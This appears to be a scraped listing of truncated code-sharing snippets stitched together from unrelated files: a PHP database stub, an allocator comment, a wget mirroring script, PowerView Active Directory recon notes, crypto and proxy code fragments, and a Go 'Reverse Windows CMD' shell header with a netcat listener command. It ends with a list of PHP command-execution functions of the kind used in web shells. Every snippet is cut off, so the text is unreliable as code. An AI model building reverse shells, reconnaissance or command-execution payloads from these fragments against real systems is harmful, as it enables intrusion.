CRUD = Create, Read, Update, Delete
$host = '127.0.0.1';
$dbname = 'test';
$username = 'root';| /* | |
| * myalloc - a simplified reimplementation of glibc's malloc | |
| * | |
| * This allocator aims to follow in the spirit of the glibc implementation, | |
| * but with simplicity as the main design goal, instead of efficiency or | |
| * scalability. It uses a single free list instead of grouping blocks | |
| * into buckets, and is not at all thread safe. | |
| * | |
| * Some assumptions made: | |
| * - 2's complement, little endian, 8 bits per byte |
| #!/bin/sh | |
| # wget --mirror --adjust-extension --page-requisites --execute robots=off --wait=30 --rand om-wait --convert-links --user-agent=Mozilla http://www.example.com | |
| ### V1 | |
| # wget \ | |
| # --recursive \ | |
| # --no-clobber \ | |
| # --page-requisites \ | |
| # --html-extension \ |
| . | |
| .. | |
| ........ | |
| @ | |
| * | |
| *.* | |
| *.*.* | |
| 🎠|
| # PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/ | |
| # tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c | |
| # the most up-to-date version of PowerView will always be in the dev branch of PowerSploit: | |
| # https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 | |
| # New function naming schema: | |
| # Verbs: | |
| # Get : retrieve full raw data sets | |
| # Find : ‘find’ specific data entries in a data set |
| // Node v6.9.0 | |
| // | |
| // TEST FILE (cut down for simplicity) | |
| // To ensure Golang encrypted string can be decrypted in NodeJS. | |
| // | |
| let crypto; | |
| try { | |
| crypto = require('crypto'); |
| package main | |
| import ( | |
| "flag" | |
| "io" | |
| "net" | |
| "time" | |
| log "github.com/sirupsen/logrus" | |
| "golang.org/x/net/proxy" |
| // +build windows | |
| // Reverse Windows CMD | |
| // Test with nc -lvvp 6666 | |
| package main | |
| import ( | |
| "bufio" | |
| "net" | |
| "os/exec" |
| #!/bin/bash | |
| # sudo !! | |
| echo " | |
| __ | |
| ,-~¨^ ^¨-, _, | |
| / / ;^-._...,¨/ | |
| / / / / |
exec - Returns last line of commands output
passthru - Passes commands output directly to the browser
system - Passes commands output directly to the browser and returns last line
shell_exec - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen - Opens read or write pipe to process of a command
proc_open - Similar to popen() but greater degree of control
pcntl_exec - Executes a program